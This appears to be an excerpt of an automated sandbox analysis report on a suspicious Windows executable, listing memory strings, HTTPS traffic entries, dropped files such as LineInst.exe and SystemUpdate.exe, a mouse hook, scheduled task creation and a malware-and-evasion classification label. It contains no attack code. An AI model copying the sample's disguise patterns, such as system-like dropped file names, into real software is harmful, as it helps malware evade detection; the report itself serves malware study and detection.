00000001.00000003.1755934980.000001F6E23DF000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709590975.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000002.1758961819.000001F6E4404000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709198904.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709298564.000001F6E2436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L6
Source: T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1710025061.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709463356.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709311079.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000002.1758367361.000001F6E3C50000.00000004.00001000.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709913441.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709347432.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709590975.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709198904.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000E.00000003.1827855767.000002B9E799E000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000E.00000003.1828277109.000002B9E799E000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000E.00000003.1828101951.000002B9E799E000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000E.00000003.1828556196.000002B9E799E000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000E.00000003.1828023488.000002B9E799E000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000E.00000003.1829089256.000002B9E799E000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000E.00000003.1828002573.000002B9E79A4000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000E.00000003.1828823515.000002B9E799E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: SystemUpdate.exe, 00000013.00000003.1855864818.000001D545E9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1718087522.000001F6E2426000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1710025061.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709463356.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709298564.000001F6E2436000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709347432.000001F6E2402000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709311079.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000002.1757804161.000001F6E23E4000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709590975.000001F6E2402000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709463356.000001F6E2402000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1756004944.000001F6E4403000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1756716169.000001F6E23E3000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709730001.000001F6E2402000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709285474.000001F6E243B000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709913441.000001F6E23FF000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709913441.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709347432.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1755741956.000001F6E23B6000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1755934980.000001F6E23DF000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709590975.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1756154803.000001F6E4407000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709198904.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1718087522.000001F6E2426000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1710025061.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709463356.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709298564.000001F6E2436000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709347432.000001F6E2402000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709311079.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000002.1757804161.000001F6E23E4000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709590975.000001F6E2402000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709463356.000001F6E2402000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1756004944.000001F6E4403000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1756716169.000001F6E23E3000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709730001.000001F6E2402000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709285474.000001F6E243B000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709913441.000001F6E23FF000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709913441.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709347432.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1755741956.000001F6E23B6000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1755934980.000001F6E23DF000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709590975.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000002.1758961819.000001F6E4404000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709198904.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: powershell.exe, 00000002.00000002.1882736475.0000026FBFCF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1957310258.000002513C583000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 00000039.00000003.2435149189.0000015985F02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 00000039.00000003.2435149189.0000015985E96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706296950.00000173A903D000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703021480.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706139679.00000173A903F000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1702887018.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703976809.00000173A903B000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703440801.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706296950.00000173A9033000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1705377381.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703976809.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706139679.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1702755893.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1704803384.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703557945.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1823292790.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1822267025.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1816401316.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1816198264.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1821331699.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1813354350.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1820471446.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1815198590.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1704803384.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1821331699.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1846178643.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.openssl.org/H

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50699
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50618
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50738
Source: unknown	Network traffic detected: HTTP traffic on port 50690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50691
Source: unknown	Network traffic detected: HTTP traffic on port 50489 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50698
Source: unknown	Network traffic detected: HTTP traffic on port 50815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50582
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50583
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50586
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50587
Source: unknown	Network traffic detected: HTTP traffic on port 50761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50667 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50537 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50636
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50756
Source: unknown	Network traffic detected: HTTP traffic on port 50550 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50519
Source: unknown	Network traffic detected: HTTP traffic on port 50422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50639
Source: unknown	Network traffic detected: HTTP traffic on port 50558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50597
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50751
Source: unknown	Network traffic detected: HTTP traffic on port 50708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50511
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50510
Source: unknown	Network traffic detected: HTTP traffic on port 50586 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 50660 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50801
Source: unknown	Network traffic detected: HTTP traffic on port 50530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50760
Source: unknown	Network traffic detected: HTTP traffic on port 50784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50597 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50489
Source: unknown	Network traffic detected: HTTP traffic on port 50566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50535 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 50510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50583 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50808
Source: unknown	Network traffic detected: HTTP traffic on port 50753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50535
Source: unknown	Network traffic detected: HTTP traffic on port 50802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50537
Source: unknown	Network traffic detected: HTTP traffic on port 50636 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50539
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50530
Source: unknown	Network traffic detected: HTTP traffic on port 50760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50774
Source: unknown	Network traffic detected: HTTP traffic on port 50811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50542 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50667
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50822
Source: unknown	Network traffic detected: HTTP traffic on port 50822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50639 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50660
Source: unknown	Network traffic detected: HTTP traffic on port 50786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50542
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50422
Source: unknown	Network traffic detected: HTTP traffic on port 50285 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50708
Source: unknown	Network traffic detected: HTTP traffic on port 50680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50709
Source: unknown	Network traffic detected: HTTP traffic on port 50713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50559
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50558
Source: unknown	Network traffic detected: HTTP traffic on port 50823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50714
Source: unknown	Network traffic detected: HTTP traffic on port 50800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50550
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50796
Source: unknown	Network traffic detected: HTTP traffic on port 50519 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50582 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50511 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50285
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50680
Source: unknown	Network traffic detected: HTTP traffic on port 50559 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50566
Source: unknown	Network traffic detected: HTTP traffic on port 50539 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50587 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50690
Source: unknown	Network traffic detected: HTTP traffic on port 50774 -> 443

Source: C:\Users\user\AppData\WinHex.exe

Windows user hook set: 0 mouse low level C:\Windows\SYSTEM32\DINPUT8.dll

Source: schtasks.exe	Process created: 49
Source: cmd.exe	Process created: 52

Source: C:\Users\user\AppData\LineInst.exe	File created: C:\Windows\Logs\MoSetup\BlueBox.log			Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\$Windows.~WS\Sources\SetupHost.exe

File deleted: C:\Windows\Panther\DlTel.etl

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1E6780	0_2_00007FF77B1E6780
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B204E20	0_2_00007FF77B204E20
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1F6714	0_2_00007FF77B1F6714
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B205D6C	0_2_00007FF77B205D6C
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1E1B90	0_2_00007FF77B1E1B90
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B208B68	0_2_00007FF77B208B68
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1F13C4	0_2_00007FF77B1F13C4
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1F0BA4	0_2_00007FF77B1F0BA4
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1F8BA0	0_2_00007FF77B1F8BA0
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1FCC04	0_2_00007FF77B1FCC04
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1F2C04	0_2_00007FF77B1F2C04
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1F11C0	0_2_00007FF77B1F11C0
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B2031CC	0_2_00007FF77B2031CC
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1F09A0	0_2_00007FF77B1F09A0
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B2009B4	0_2_00007FF77B2009B4
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1FFA08	0_2_00007FF77B1FFA08
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B205820	0_2_00007FF77B205820
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1F6714	0_2_00007FF77B1F6714
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1E80A0	0_2_00007FF77B1E80A0
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B20509C	0_2_00007FF77B20509C
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1FD098	0_2_00007FF77B1FD098
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1F4F50	0_2_00007FF77B1F4F50
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1FD718	0_2_00007FF77B1FD718
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1F6F98	0_2_00007FF77B1F6F98
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1F0FB4	0_2_00007FF77B1F0FB4
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1F2800	0_2_00007FF77B1F2800
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1F1E70	0_2_00007FF77B1F1E70
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B202D30	0_2_00007FF77B202D30
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1FFA08	0_2_00007FF77B1FFA08
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1F6560	0_2_00007FF77B1F6560
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1F0DB0	0_2_00007FF77B1F0DB0

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe

Code function: String function: 00007FF77B1E2770 appears 41 times

Source: LineInst.exe.1.dr	Static PE information: Resource name: RT_STRING type: DOS executable (COM, 0x8C-variant)
Source: MediaSetupUIMgr.dll.12.dr	Static PE information: Resource name: RT_STRING type: VAX-order2 68k Blit mpx/mux executable
Source: MediaSetupUIMgr.dll.12.dr	Static PE information: Resource name: RT_STRING type: MIPSEB-LE MIPS-III ECOFF executable - version 3.-82
Source: MediaSetupUIMgr.dll.12.dr	Static PE information: Resource name: RT_STRING type: basic-16 executable not stripped
Source: MediaSetupUIMgr.dll.12.dr	Static PE information: Resource name: RT_STRING type: PDP-11 pure executable not stripped
Source: SetupCore.dll.12.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: SetupCore.dll.12.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: LineInst.exe.1.dr

Static PE information: Resource name: RT_STRING type: GTA2 binary mission script (SCR), Industrial area (bil)

Source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703021480.00000173A9032000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs T1#U52a9#U624b1.0.1.exe
Source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1702622530.00000173A9032000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs T1#U52a9#U624b1.0.1.exe
Source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1702887018.00000173A9032000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs T1#U52a9#U624b1.0.1.exe
Source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703440801.00000173A9032000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs T1#U52a9#U624b1.0.1.exe
Source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706296950.00000173A9033000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs T1#U52a9#U624b1.0.1.exe
Source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706139679.00000173A9032000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs T1#U52a9#U624b1.0.1.exe
Source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1702755893.00000173A9032000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs T1#U52a9#U624b1.0.1.exe
Source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1704803384.00000173A9032000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs T1#U52a9#U624b1.0.1.exe
Source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703557945.00000173A9032000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs T1#U52a9#U624b1.0.1.exe

Source: classification engine

Classification label: mal46.evad.winEXE@262/400@106/27

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe

Code function: 0_2_00007FF77B1E74B0 GetLastError,FormatMessageW,WideCharToMultiByte,

0_2_00007FF77B1E74B0

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe

File created: C:\Users\user\AppData\LineInst.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7188:120:WilError_03
